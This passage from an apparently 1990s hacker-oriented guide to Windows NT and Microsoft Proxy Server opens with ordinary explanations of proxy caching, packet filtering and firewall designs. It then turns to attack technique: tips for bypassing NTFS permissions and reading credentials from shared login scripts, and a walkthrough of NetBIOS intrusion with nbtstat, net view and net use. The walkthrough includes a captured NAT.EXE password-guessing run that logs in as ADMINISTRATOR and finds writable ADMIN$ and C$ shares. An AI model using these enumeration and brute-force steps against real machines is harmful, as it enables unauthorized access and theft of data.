  4033. The ISAPI Application is also contained in the w3proxy.dll file.
  4034.  
  4035. [7.1.3] Proxy Servers Caching Mechanism
  4036.  
  4037. Microsoft Proxy Server handles caching in two different ways, Passive and Active caching.
  4038.  
  4039. ? Passive Caching: Passive caching is the basic mode of caching. Proxy Server interposes 
  4040. itself between a client and an internal or external Web site and then intercepts client 
  4041. requests. Before forwarding the request on to the Web server, Proxy Server checks to see if 
  4042. it can satisfy the request from its cache. Normally, in passive caching, Proxy Server places a 
  4043. copy of retrieved objects in the cache and associates a TTL (time-to-live) with that object. 
  4044. During this TTL, all requests for that object are satisfied from the cache. When the TTL is 
  4045. expired, the next client request for that object will prompt Proxy Server to retrieve a fresh 
  4046. copy from the web. If the disk space for the cache is too full to hold new data, Proxy Server 
  4047. removes older objects from the cache using a formula based on age, popularity, and size.
  4048. ? Active Caching: Active Caching works with passive caching to optimize the client 
  4049. performance by increasing the likelihood that a popular will be available in cache, and up to 
  4050. date. Active caching changes the passive caching mechanism by having the Proxy Server 
  4051. automatically generate requests for a set of objects. The objects that are chosen are based 
  4052. on popularity, TTL, and Server Load.
  4053.  
  4054. [7.1.4] Windows Sockets
  4055.  
  4056. Windows Sockets is the mechanism for communication between applications running on the 
  4057. same computer or those running on different computers which are connected to a LAN or WAN. 
  4058. Windows Sockets defines a set of standard API's that an application uses to communicate with 
  4059. one or more other applications, usually across a network. Windows Sockets supports initiating an 
  4060. outbound connection, accepting inbound connections, sending and receiving data on those 
  4061. connections, and terminating a session.
  4062.  
  4063. Windows socket is a port of the Berkeley Sockets API that existed on Unix, with extensions for 
  4064. integration into the Win16 and Win32 application environments. Windows Sockets also includes 
  4065. support for other transports such as IPX/SPX and NetBEUI.
  4066.  
  4067. Windows Sockets supports point-to-point connection-oriented communications and point-to-point 
  4068. or multipoint connectionless communications when using TCP/IP. Windows Socket 
  4069. communication channels are represented by data structures called sockets. A socket is identified 
  4070. by an address and a port, for example;
  4071.  
  4072. 131.107.2.200:80
  4073.  
  4074. [7.1.5] Access Control Using Proxy Server
  4075.  
  4076. [7.1.6] Controlling Access by Internet Service
  4077.  
  4078. Proxy Server can be configured to provide or restrict access based on Service type. FTP, HTTP, 
  4079. Gopher, and Secure (SSL) are all individually configurable.
  4080.  
  4081. [7.1.7] Controlling Access by IP, Subnet, or Domain
  4082.  
  4083. Proxy allows an administrator to control access based on IP Address, Subnet or Domain. This is 
  4084. done by enabling filtering and specifying the appropriate parameters. When configuring this 
  4085. security, you need to decide if you want to grant or deny access to an IP address, subnet, or 
  4086. domain.  By configuring Proxy Server correctly, you can also set it up to use the internet as your 
  4087. corporate WAN.
  4088.  
  4089. [7.1.8] Controlling Access by Port
  4090.  
  4091. If you are using the WinSock Proxy service, you can control access to the internet by specifying 
  4092. which port is used by TCP and UDP. You can also grant or deny, activate or disable certain ports 
  4093. based on your needs.
  4094.  
  4095. [7.1.9] Controlling Access by Packet Type
  4096.  
  4097. Proxy Server can control access of external packets into the internal network by enabling packet 
  4098. filtering on the external interface. Packet filtering intercepts and evaluates packets from the 
  4099. Internet before they reach the proxy server. You can configure packet filtering to accept or deny 
  4100. specific packet types, datagrams, or packet fragments that can pass through Proxy Server. In 
  4101. addition, you can block packets originating from a specific Internet host.
  4102.  
  4103. The packet filtering provided by Proxy Server is available in two forms, Dynamic and Static.
  4104.  
  4105. Dynamic packet filtering allows for designed ports to automatically open for transmission, receive, 
  4106. or both. Ports are then closed immediately after connection has been terminated, thereby 
  4107. minimizing the number of open ports and the duration of time that a port is open.
  4108.  
  4109. Static packet filtering allows manual configuration of which packets are and are not allowed.
  4110.  
  4111. By default, the following Packet settings are enabled on Proxy Server (by default, ALL packet 
  4112. types are blocked except the ones listed below, known as Exceptions):
  4113.  
  4114. Inbound     ICMP ECHO (Ping)
  4115. Inbound      ICMP RESPONSE (Ping)
  4116. Inbound      ICMP SOURCE QUENCH
  4117. Inbound      ICMP TIMEOUT
  4118. Inbound      ICMP UNREACHABLE
  4119. Outbound      ICMP ANY
  4120. Inbound      TCP HTTP
  4121. In/Outbound       UDP ANY (dns)
  4122.  
  4123. [7.2.0] Logging and Event Alerts
  4124.  
  4125. Events that could affect your system may be monitored, and, if they occur, alerts can be 
  4126. generated. The items listed below are events that will generate alerts:
  4127.  
  4128. Rejected Packets: Watches external adapter for dropped IP packets.
  4129. Protocol Violations: Watches for packets that do not follow the allowed protocol structure.
  4130. Disk Full: Watches for failures caused by a full disk.
  4131.  
  4132. When any of the events above occur, an alert is sent to the system log in the NT Event Viewer, or 
  4133. can be configured to e-mail a pre-defined person.
  4134.  
  4135. When the system logs information concerning Access Control, it does so to a log file stored in the 
  4136. %systemroot%/system32/msplogs/ directory. The log file itself is named Pfyymmdd.log (Where 
  4137. yy=Current year / mm= Current Month / dd= Current day).
  4138.  
  4139. The Packet log records information related to the following areas:
  4140.  
  4141. Service Information (Time of Service, Date and Time)
  4142. Remote Information (The Source IP Address of a possible Intruder, along with port and protocol 
  4143. used)
  4144. Local Information (Destination IP Address and port)
  4145. Filter Information (Action taken and what interface (network adapter) issued the action)
  4146. Packet Information (Raw IP Header in Hex and Raw IP Packet in Hex)
  4147.  
  4148. [7.2.1] Encryption Issues
  4149.  
  4150. Proxy Server can take full advantage of the authentication and security features of Internet 
  4151. Information Server and SSL tunneling.
  4152.  
  4153. SSL supports data encryption and server authentication. All data sent to and from the client using 
  4154. SSL is encrypted. If HTTP basic authentication is used in conjunction with SSL, the user name 
  4155. and password are transmitted after the client's SSL support encrypts them.
  4156.  
  4157. If your are wanting to take advantage of PPTP to provide additional flexibility and security for your 
  4158. clients, you can configure Proxy Server to allow these packets (GRE) to pass through.
  4159.  
  4160. [7.2.2] Other Benefits of Proxy Server
  4161.  
  4162. [7.2.3] RAS
  4163.  
  4164. Proxy Server can take full advantage of Windows NT Remote Access Service (RAS).  Proxy can 
  4165. be configured to dial on demand when an internal client makes a request that must be satisfied 
  4166. from the external network. The RAS feature can be configured to only allow connectivity during 
  4167. certain hours. The Dial-Up Network Scripting tool can aslo be used to automate certain process 
  4168. using Proxy Server and RAS. For company's who have a standard constant connection (ISDN, 
  4169. T1, T3) to the Internet, the RAS ability provided by Proxy Server can be used as a back-up 
  4170. should your constant connection fail.
  4171.  
  4172. [7.2.4] IPX/SPX
  4173.  
  4174. Microsoft Proxy Server was developed with support for Internet Packet Exchange/Sequenced 
  4175. Packet Exchange or IPX/SPX. IPX/SPX is a transport protocol group somewhat similar to TCP/IP. 
  4176.  
  4177. There are many situations when a client computer may have both IPX/SPX and TCP/IP protocols 
  4178. installed although the company's internal network may only use IPX/SPX. Simply disabling 
  4179. aTCP/IP while on the LAN will not get the IPX/SPX component of the Proxy client software 
  4180. working. You will need to go into Control Panel, open the Wsp Client icon and check the box that 
  4181. reads "Force IPX/SPX protocol". This must be done because even though the TCP/IP protocol 
  4182. was disabled, the WinSock Proxy Client still detects its presence and will attempt to create a 
  4183. standard IP socket. By enabling the "Force IPX/SPX Protocol" option, this problem should 
  4184. disappear.
  4185.  
  4186. [7.2.5] Firewall Strategies
  4187.  
  4188. A firewall is a system that enforces access control policies. The enforcement is done between an 
  4189. internal, or "trusted" network and an external, or "untrusted" network. The firewall can be as 
  4190. advanced as your standards require. Firewalls are commonly used to shield internal networks 
  4191. from unauthorized access via the Internet or other external network.
  4192.  
  4193. [7.2.6] Logical Construction
  4194.  
  4195. The single basic function of a firewall is to block unauthorized traffic between a trusted system 
  4196. and an untrusted system. This process is normally referred to as Filtering. Filtering can be viewed 
  4197. as either permitting or denying traffic access to a network.
  4198.  
  4199. Firewalls know what traffic to block because they are configured with the proper information. This 
  4200. information is known as an Access Control Policy. The proper approach to an access control 
  4201. policy will depend on the goals of the network security policy and the network administrator.
  4202.  
  4203. [7.2.7] Exploring Firewall Types
  4204.  
  4205. In the origins of firewalls, there were two types. These two types have now grown and overlapped 
  4206. each other to the point where distinction is hard. We will explore the differences between these 
  4207. two types and discuss Firewall building topologies.
  4208.  
  4209. Network Level Firewalls
  4210.  
  4211. Network level firewalls operate at the IP packet level. Most of these have a network interface to 
  4212. the trusted network and an interface to the untrusted network. They filter by examining and 
  4213. comparing  packets to their access control policies or ACL's.
  4214.  
  4215. Network level firewalls filter traffic based on any combination of Source and Destination IP, TCP 
  4216. Port assignment and Packet Type. Network Level firewalls are normally specialized IP routers. 
  4217. They are fast and efficient and are transparent to network operations. Todays network level 
  4218. firewalls have become more and more complex. They can hold internal information about the 
  4219. packets passing through them, including the contents of some of the data. We will be discussing 
  4220. the following types of network level firewalls:
  4221.  
  4222. ? Bastion Host
  4223. ? Screened Host
  4224. ? Screened Subnet
  4225.  
  4226. Bastion Host Firewall
  4227.  
  4228. Bastion host are probably one of the most common types of firewalls. The term bastion refers to 
  4229. the old castle structures used in Europe, mainly for draw bridges.
  4230.  
  4231. The Bastion host is a computer with at east one interface to the trusted network and one to the 
  4232. untrusted network. When access is granted to a host from the untrusted network by the bastion 
  4233. host, all traffic from that host is allowed to pass unbothered.
  4234. In a physical layout, bastion hosts normally stand directly between the inside and outside 
  4235. networks, with no other intervention. They are normally used as part of a larger more 
  4236. sophisticated firewall. 
  4237.  
  4238. The disadvantages to a bastion host are:
  4239.  
  4240. ? After an Intruder has gained access, he has direct access to the entire network.
  4241. ? Protection is not advanced enough for most network applications.
  4242.  
  4243. Screened Host Firewall
  4244.  
  4245. A more sophisticated network level firewall is the screened host firewall. This firewall uses a 
  4246. router with at least on connection to trusted network and one connection to a bastion host. The 
  4247. router serves as a preliminary screen for the bastion host. The screening router sends all IP traffic 
  4248. to the bastion host after it filters the packets. The router is set up with filter rules. These rules 
  4249. dictate which IP addresses are allowed to connect, and which ones are denied access. All other 
  4250. packet scrutiny is done by the bastion host. The router decreases the amount of traffic sent to the 
  4251. bastion host and simplifies the bastions filtering algorithms.
  4252.  
  4253. The physical layout of a Screened Host is a router with one connection to the outside network, 
  4254. and the other connection with a bastion host. The bastion host has one connection with the router 
  4255. and one connection with the inside network.
  4256.  
  4257. Disadvantages to the Screened Host are:
  4258.  
  4259. ? The single screen host can become a traffic bottleneck
  4260. ? If the host system goes down, the entire gateway is down.
  4261.  
  4262. Screened Subnet Firewalls
  4263.  
  4264. A screened subnet uses on or more addition routers and on more additional bastion hosts. In a 
  4265. screened subnet, access to and from the inside network is secured by using a group of screened 
  4266. bastion host computers. Each of the bastion hosts acts as a drawbridge to the network.
  4267.  
  4268. The physical layout of a Screened subnet is somewhat more difficult, but the result is a more 
  4269. secure, robust environment. Normally, there is a router with one connection to the outside 
  4270. network and the other connection to a bastion host. The bastion host has one connection to the 
  4271. outer most router and one connection to another bastion host, with an addressable network in the 
  4272. middle. The inner most bastion host has one connection to the outer most bastion and another 
  4273. connection to an inside router. The inside router has one connection to the inner bastion host and 
  4274. the other connection to the inside network. The result of this configuration is the security 
  4275. components are normally never bogged down with traffic and all internal IP addresses are hidden 
  4276. from the outside, preventing someone from "mapping" your internal network.
  4277.  
  4278. Disadvantages to using this type of firewall are:
  4279.  
  4280. ? The can be two or three times more expensive than other types of firewalls
  4281. ? Implementation must be done by some type of security professional, as these types of 
  4282. firewalls are not for the un-initiated.
  4283.  
  4284. Application Level Firewalls
  4285.  
  4286.  Application level firewalls are hosts running proxy server software located between the protected 
  4287. network and the outside network. Keep in mind that even though Microsofts product is called 
  4288. Proxy Server 2.0, it is actually a stand alone Bastion Host type of system. Microsoft Proxy Server 
  4289. can also, single-handedly, disguise your internal network to prevent mapping. Microsoft Proxy 
  4290. Server 1.0 did not have many of the advanced features presented in version 2.0. The 1.0 version 
  4291. can definitely be called a true proxy server, while the 2.0 version is more of a firewall.
  4292.  
  4293. Viewed from the client side, a proxy server is an application that services network resource 
  4294. requests by pretending to be the target source. Viewed from the network resource side, the proxy 
  4295. server is accessing network resources by pretending to be the client. Application level firewalls 
  4296. also do not allow traffic to pass directly between to the two networks. They are also able to use 
  4297. elaborate logging and auditing features. They tend to provide more detailed audit reports, but 
  4298. generally, as stand alone security unites, do not perform that well. Remember that an Application 
  4299. level firewall is software running on a machine, and if that machine can be attacked effective and 
  4300. crashed, in effect, youre crashing the firewall.
  4301.  
  4302. You may wish to use an application level firewall in conjunction with network level firewalls, as 
  4303. they provide the best all around security.
  4304.  
  4305. [7.2.3] NT Security Twigs and Ends
  4306.  
  4307. Lets jump right in. For those of  you who are not riggers (architecture/network media specialists) 
  4308. let me begin by saying that NT as an operating system is fairly safe and secure. Now you may 
  4309. think to yourself that it isnÆt, but think about all the Unix related security holes you know of, a ton 
  4310. huh? Anyhow, as with any operating system, NT has holes, lets see what we can learn about 
  4311. these holes, shall we?
  4312.  
  4313.  First things first, NT does not support alot of  the normal TCP/IP functions that youre used to. NT 
  4314. does not normally support NFS, SunRPC, NIS, r* commands, Telnet, and some other obscure 
  4315. ones. 
  4316.  
  4317.  In order for NT to allow for various system services to be performed on a remote computer, it 
  4318. uses RPC, remote procedure calls. Please do not confuse this with SunRPC. You can run 
  4319. NT/RPC's over a NetBIOS/SMB session or you can piggie back it directly off of  TCP/IP (or other 
  4320. transport protocol, perhaps NWLink IPX/SPX). Unfortunately we dont have any good 
  4321. documentation on what inherent services NT provides through native RPC. Complex server type 
  4322. programs (Like Exchange) provide their own RPC services in addition to the ones NT provides as 
  4323. an operating system --(TCP Port 135 is used as a port-mapper port, we also know that if too 
  4324. much information is fed through port 135, you can crash an NT box.). Some client software must 
  4325. access TCP port 135 before accessing the RPC service itself (hint, hint). Keep in mind that TCP 
  4326. port 135 can be blocked. Bummer, eh?
  4327.  One problem among the Hacker community is that most hackers dont like to investigate new 
  4328. avenues, or explore new methods. They will take the easy way out, using a method thats already 
  4329. been documented by someone else. So what if they come across a system that has patched that 
  4330. security problem? Will todays hacker try to find a new way in? Nope... most of the slackers I know 
  4331. will give up. It is for this reason that alot of the members in the community have never heard of 
  4332. SMBs, because its a session level protocol  that is not a Unix standard (although there is 
  4333. something somewhat like SMBs for Unix, known as Samba). SMBs are used by Windows 3.X, 
  4334. Win95, WintNT and OS/2. The one thing to remember about SMBs is that it allows for remote 
  4335. access to shared directories, the registry, and other system services. Which makes it important in 
  4336. our line of, uuuhh, work. As stated above, unfortunately, there is no good documentation of the 
  4337. services that use SMBs. 
  4338.  
  4339.   Now, a couple of Key Points:
  4340.       SMBs are used by:
  4341.          -Win 3.X
  4342.          -Win 95
  4343.          -Win NT
  4344.          -OS/2
  4345.       SMBs allow for remote access to:
  4346.          -Shared directories
  4347.          -The Registry
  4348.          -Other system services
  4349.  
  4350.   You will find that by default all accounts in NT have complete SMB functionality. This includes 
  4351. the Guest account. (In WinNT 3.51, the guest is auto created and active, in WinNT 4.0, the guest 
  4352. account is auto created but is not active) Now, 2 things to remember: When it comes to login 
  4353. attempt failures, the administrator account IS NEVER locked out after a certain number of login 
  4354. attempts (this rule ALWAYS applies), also by default, when windows NT is installed, NONE of the 
  4355. accounts have fail login attempt lock out. Also, in order for SMB to work, UDP/TCP ports 
  4356. 137,138,139 (NetBIOS over TCP) must be open.
  4357.  
  4358. ---A word about Remote registry alteration: By default the Everyone group in NT has write access 
  4359. to much of the registry. In NT 3.51, this was a major issue due to the remote registry access 
  4360. feature of RegEdit. Any user could manipulate the registry on any server or workstation on which 
  4361. his account (or the guest account) was enabled. WindowsNT fixed the problem with this registry 
  4362. key:
  4363.  
  4364. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipesServers\winreg
  4365.  
  4366. Now, true, remote registry editing is not allowed in NT4, but this rule does not apply to 
  4367. Administrator (or perhaps other users in the Administrators group.. ::grin::).
  4368.  
  4369.  Ok, so far we've covered some pretty good information, but lets go into that new product that 
  4370. microsoft loves so much. The product they really hyped.. NTFS (NewTechnologiesFileSystem). 
  4371. First of all, NTFS is a rip off of the OS/2 file system, HPFS. No biggie, lets not get picky. Anyhow, 
  4372. NTFS is actually a beautiful thing, if used properly. NTFS allows administrator to not only put 
  4373. access permissions on folders, but it also allows for access permissions on individual files within 
  4374. that folder. 
  4375.  
  4376. Example: Jane and Ralph both have access to the folder 'Shoes'. Theres only one file within the 
  4377. 'shoes' folder. Only jane has access to this one file, Ralph does not. So when Ralph opens the 
  4378. 'shoe' folder, it appears empty, but when Jane opens the 'shoe' folder, the file is there. 
  4379.  
  4380. Now, If an administrator does not set permissions on files within a folder but you know the exact 
  4381. path to the file, you can copy the file out of the folder onto a FAT (File Allocation Table) system, 
  4382. successfully bypassing the security. Example:
  4383.  
  4384. The folder 'Shoes' has permissions on it. You do not have access permission to the folder, BUT if 
  4385. you typed:
  4386.  
  4387.       copy c:\shoes\secure.txt a:\
  4388.  
  4389.  It would allow you to copy the file. Pretty neat huh?
  4390.  
  4391. I have heard that the latest NT4 patches have corrected this problem, I will let ya know when I get 
  4392. a chance to test it out.
  4393.  
  4394. File Sharing, I love those words. SMB file and print server protocols used by NT are harder to 
  4395. spoof than the NFS implementation on Unix systems. It is possible that a gateway (and I dont 
  4396. mean the brand name company) machine could spoof an SMB session, then read and write any 
  4397. files to which the true user of the session had access. -WARNING- This method is not for the 
  4398. beginner.
  4399.  
  4400. Now, windows allows for this wonderful thing called User Profiles. This allows for users to have 
  4401. login scripts, personalized desktops, etc etc. Now some very personal information can be 
  4402. contained within these profiles. For example, some users put the userid and password that they 
  4403. use for Microsoft Mail onto their logon script, this way when they log into the machine, it auto logs 
  4404. them into their mailbox. User profiles are stored in the %SYSTEMROOT%\SYSTEM32\CONFIG 
  4405. directory and also on a shared directory on the server. 
  4406.  
  4407. Lets discuss our little friend, the special share. NT shares the 
  4408. %SYSTEMROOT%\SYSTEM32\REPL\IMPORT\SCRIPTS directory, this way, users can read 
  4409. their login scripts during login. Under normal default conditions, ANYONE can access this share 
  4410. and read anyone elses login script. So whatever juicy pieces of information are in the login script 
  4411. are now yours. Some other special shares are created depending on other software installed on 
  4412. NT or other servers that NT has to cooperate with. These other shares will probably be discussed 
  4413. in another BlackPaper.
  4414.  
  4415. Getting lucky with that special account. There is a certain type of NT account that has the ability 
  4416. to BackUp and Restore database and account information. Accounts of this type have the ability 
  4417. to read, modify and write any file in the system. So, if ya cant get the Admin account, who 
  4418. knows... maybe theres a backup operator account. Ya never know.
  4419.  
  4420.  
  4421. ==============Part Two==============
  4422. ===================The Techniques for Survival===================
  4423.  
  4424.  
  4425. [8.0.0] NetBIOS Attack Methods
  4426.  
  4427. This NetBIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, 
  4428. NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components 
  4429. being used is NAT.EXE by Andrew Tridgell. A discussion of the tool, it switches, and common 
  4430. techniques follows:
  4431.  
  4432. NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>
  4433.  
  4434. Switches:
  4435.  
  4436.        -o     Specify the output file.  All results from the scan
  4437.               will  be written to the specified file, in addition
  4438.               to standard output.
  4439.        -u     Specify the file to read usernames from.  Usernames
  4440.               will  be read from the specified file when attempt-
  4441.               ing to guess the password  on  the  remote  server.
  4442.               Usernames  should appear one per line in the speci-
  4443.               fied file.
  4444.        -p     Specify the file to read passwords from.  Passwords
  4445.               will  be read from the specified file when attempt-
  4446.               ing to guess the password  on  the  remote  server.
  4447.               Passwords  should appear one per line in the speci-
  4448.               fied file.
  4449.        <address>
  4450.               Addresses should be specified in comma  deliminated
  4451.               format,  with  no spaces.  Valid address specifica-
  4452.               tions include:
  4453.               hostname - "hostname" is added
  4454.               127.0.0.1-127.0.0.3,   adds   addresses   127.0.0.1
  4455.               through 127.0.0.3
  4456.               127.0.0.1-3,   adds   addresses  127.0.0.1  through
  4457.               127.0.0.3
  4458.               127.0.0.1-3,7,10-20,   adds   addresses   127.0.0.1
  4459.               through  127.0.0.3,  127.0.0.7,  127.0.0.10 through
  4460.               127.0.0.20.
  4461.               hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
  4462.               through 127.0.0.1
  4463.               All combinations of hostnames and address ranges as
  4464.               specified above are valid.
  4465.  
  4466. [8.0.1] Comparing NAT.EXE to Microsoft's own executables
  4467.  
  4468. [8.0.2] First, a look at NBTSTAT
  4469.  
  4470. First we look at the NBTSTAT command. This command was discussed in earlier portions of the 
  4471. book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this 
  4472. tool is used and how it compares to other Microsoft tools and non Microsoft tools. 
  4473.  
  4474. What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. 
  4475. Again, if youre interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat 
  4476. Command portion of the book.
  4477.  
  4478.  
  4479. C:\nbtstat -A XXX.XX.XXX.XX
  4480.  
  4481.        NetBIOS Remote Machine Name Table
  4482.  
  4483.    Name               Type         Status
  4484. ---------------------------------------------
  4485. STUDENT1       <20>  UNIQUE      Registered
  4486. STUDENT1       <00>  UNIQUE      Registered
  4487. DOMAIN1        <00>  GROUP       Registered
  4488. DOMAIN1        <1C>  GROUP       Registered
  4489. DOMAIN1        <1B>  UNIQUE      Registered
  4490. STUDENT1       <03>  UNIQUE      Registered
  4491. DOMAIN1        <1E>  GROUP       Registered
  4492. DOMAIN1        <1D>  UNIQUE      Registered
  4493. ..__MSBROWSE__.<01>  GROUP       Registered
  4494.  
  4495. MAC Address = 00-C0-4F-C4-8C-9D
  4496.  
  4497. Here is a partial NetBIOS 16th bit listing:
  4498.  
  4499. Computername <00> UNIQUE workstation service name
  4500.                        <00> GROUP  domain name 
  4501. Server              <20> UNIQUE Server Service name
  4502.  
  4503. Computername <03> UNIQUE Registered by the messenger service. This is the computername
  4504.                                 to be added to the LMHOSTS file which is not necessary to use
  4505.                                 NAT.EXE but is necessary if you would like to view the remote
  4506.                                 computer in Network Neighborhood.
  4507. Username        <03>  Registered by the messenger service. 
  4508. Domainname   <1B>  Registers the local computer as the master browser for the domain
  4509. Domainname   <1C>  Registers the computer as a domain controller for the domain
  4510.                                 (PDC or BDC)
  4511. Domainname   <1D>  Registers the local client as the local segments master browser
  4512.                                 for the domain
  4513. Domainname   <1E>        Registers as a Group NetBIOS Name
  4514.                       <BF>        Network Monitor Name
  4515.                       <BE>        Network Monitor Agent
  4516.                       <06>         RAS Server
  4517.                       <1F>         Net DDE
  4518.                       <21>         RAS Client
  4519.  
  4520. [8.0.3] Intro to the NET commands
  4521.  
  4522. The NET command is a command that admins can execute through a dos window to show 
  4523. information about servers, networks, shares, and connections. It also has a number of command 
  4524. options that you can use to add user accounts and groups, change domain settings, and 
  4525. configure shares. In this section, you will learn about these NET commands, and you will also 
  4526. have the outline to a NET command Batch file that can be used as a primitive network security 
  4527. analysis tool. Before we continue on with the techniques, a discussion of the available options will 
  4528. come first:
  4529.  
  4530. [8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and 
  4531. domain information. It also contains options for updating the User accounts database and 
  4532. modifying password and logon requirements.
  4533.  
  4534. [8.0.5] Net Computer: This adds or deletes computers from a domains database.
  4535.  
  4536. [8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server 
  4537. service. When used without specifying Server or Workstation, the command displays a list of 
  4538. configurable services.
  4539.  
  4540. [8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE 
  4541. command.
  4542.  
  4543. [8.0.8] Net File: This command lists the open files on a server and has options for closing shared 
  4544. files and removing file locks.
  4545.  
  4546. [8.0.9] Net Group: This displays information about group names and has options you can use to 
  4547. add or modify global groups on servers.
  4548.  
  4549. [8.1.0] Net Help: Help with these commands
  4550.  
  4551. [8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.
  4552.  
  4553. [8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those 
  4554. groups.
  4555.  
  4556. [8.1.3] Net Name: This command shows the names of computers and users to which messages 
  4557. are sent on the computer.
  4558.  
  4559. [8.1.4] Net Pause: Use this command to suspend a certain NT service.
  4560.  
  4561. [8.1.5] Net Print: Displays print jobs and shared queues.
  4562.  
  4563. [8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging 
  4564. names on the network.
  4565.  
  4566. [8.1.7] Net Session: Shows information about current sessions. Also has commands for 
  4567. disconnecting certain sessions.
  4568.  
  4569. [8.1.8] Net Share: Use this command to list information about all resources being shared on a 
  4570. computer. This command is also used to create network shares.
  4571.  
  4572. [8.1.9] Net Statistics Server or Workstation: Shows the statistics log.
  4573.  
  4574. [8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be 
  4575. known that stopping one service, may stop other services.
  4576.  
  4577. [8.2.1] Net Time: This command is used to display or set the time for a computer or domain.
  4578.  
  4579. [8.2.2] Net Use: This displays a list of connected computers and has options for connecting to 
  4580. and disconnecting from shared resources.
  4581.  
  4582. [8.2.3] Net User: This command will display a list of user accounts for the computer, and has 
  4583. options for creating a modifying those accounts.
  4584.  
  4585. [8.2.4] Net View: This command displays a list of resources being shared on a computer. 
  4586. Including netware servers.
  4587.  
  4588. [8.2.5] Special note on DOS and older Windows Machines: The commands listed above are 
  4589. available to Windows NT Servers and Workstation, DOS and older Windows clients have these 
  4590. NET commands available:
  4591.  
  4592. Net Config
  4593. Net Diag (runs the diagnostic program)
  4594. Net Help
  4595. Net Init (loads protocol and network adapter drivers.)
  4596. Net Logoff
  4597. Net Logon
  4598. Net Password (changes password)
  4599. Net Print
  4600. Net Start
  4601. Net Stop
  4602. Net Time
  4603. Net Use
  4604. Net Ver (displays the type and version of the network redirector)
  4605. Net View
  4606.  
  4607. For this section, the command being used is the NET VIEW and NET USE commands.
  4608.  
  4609. [8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack.
  4610.  
  4611. C:\net view XXX.XX.XXX.XX
  4612.  
  4613. Shared resources at XXX.XX.XXX.XX
  4614.  
  4615. Share name   Type         Used as  Comment
  4616.  
  4617. ------------------------------------------------------------------------------
  4618. NETLOGON     Disk                  Logon server share
  4619. Test         Disk
  4620. The command completed successfully.
  4621.  
  4622. NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.
  4623.  
  4624.  
  4625. C:\net use /?
  4626.  
  4627. The syntax of this command is:
  4628.  
  4629. NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
  4630.         [/USER:[domainname\]username]
  4631.         [[/DELETE] | [/PERSISTENT:{YES | NO}]]
  4632.  
  4633. NET USE [devicename | *] [password | *]] [/HOME]
  4634.  
  4635. NET USE [/PERSISTENT:{YES | NO}]
  4636.  
  4637. C:\net use x: \\XXX.XX.XXX.XX\test
  4638.  
  4639. The command completed successfully.
  4640.  
  4641. C:\unzipped\nat10bin>net use
  4642.  
  4643. New connections will be remembered.
  4644.  
  4645. Status       Local     Remote                    Network
  4646.  
  4647. -------------------------------------------------------------------------------
  4648. OK           X:        \\XXX.XX.XXX.XX\test      Microsoft Windows Network
  4649. OK                     \\XXX.XX.XXX.XX\test      Microsoft Windows Network
  4650.  
  4651. The command completed successfully.
  4652.  
  4653. Here is an actual example of how the NAT.EXE program is used. The information listed here is 
  4654. an actual capture of the activity. The IP addresses have been changed to protect, well, us.
  4655.  
  4656. C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YYY.YY.YYY.YY
  4657.  
  4658.  
  4659. [*]--- Reading usernames from userlist.txt
  4660. [*]--- Reading passwords from passlist.txt
  4661.  
  4662. [*]--- Checking host: XXX.XX.XXX.XX
  4663. [*]--- Obtaining list of remote NetBIOS names
  4664.  
  4665. [*]--- Attempting to connect with name: *
  4666. [*]--- Unable to connect
  4667.  
  4668. [*]--- Attempting to connect with name: *SMBSERVER
  4669. [*]--- CONNECTED with name: *SMBSERVER
  4670. [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
  4671. [*]--- Server time is Mon Dec 01 07:44:34 1997
  4672. [*]--- Timezone is UTC-6.0
  4673. [*]--- Remote server wants us to encrypt, telling it not to
  4674.  
  4675. [*]--- Attempting to connect with name: *SMBSERVER
  4676. [*]--- CONNECTED with name: *SMBSERVER
  4677. [*]--- Attempting to establish session
  4678. [*]--- Was not able to establish session with no password
  4679. [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
  4680. [*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'
  4681.  
  4682. [*]--- Obtained server information:
  4683.  
  4684. Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]
  4685.  
  4686. [*]--- Obtained listing of shares:
  4687.  
  4688.     Sharename      Type      Comment
  4689.     ---------      ----      -------
  4690.     ADMIN$         Disk:     Remote Admin
  4691.     C$             Disk:     Default share
  4692.     IPC$           IPC:      Remote IPC
  4693.     NETLOGON       Disk:     Logon server share 
  4694.     Test           Disk:     
  4695.  
  4696. [*]--- This machine has a browse list:
  4697.  
  4698.     Server               Comment
  4699.     ---------            -------
  4700.     STUDENT1             
  4701.  
  4702.  
  4703. [*]--- Attempting to access share: \\*SMBSERVER\
  4704. [*]--- Unable to access
  4705.  
  4706. [*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
  4707. [*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
  4708. [*]--- Checking write access in: \\*SMBSERVER\ADMIN$
  4709. [*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
  4710. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
  4711.  
  4712. [*]--- Attempting to access share: \\*SMBSERVER\C$
  4713. [*]--- WARNING: Able to access share: \\*SMBSERVER\C$
  4714. [*]--- Checking write access in: \\*SMBSERVER\C$
  4715. [*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
  4716. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
  4717.  
  4718. [*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
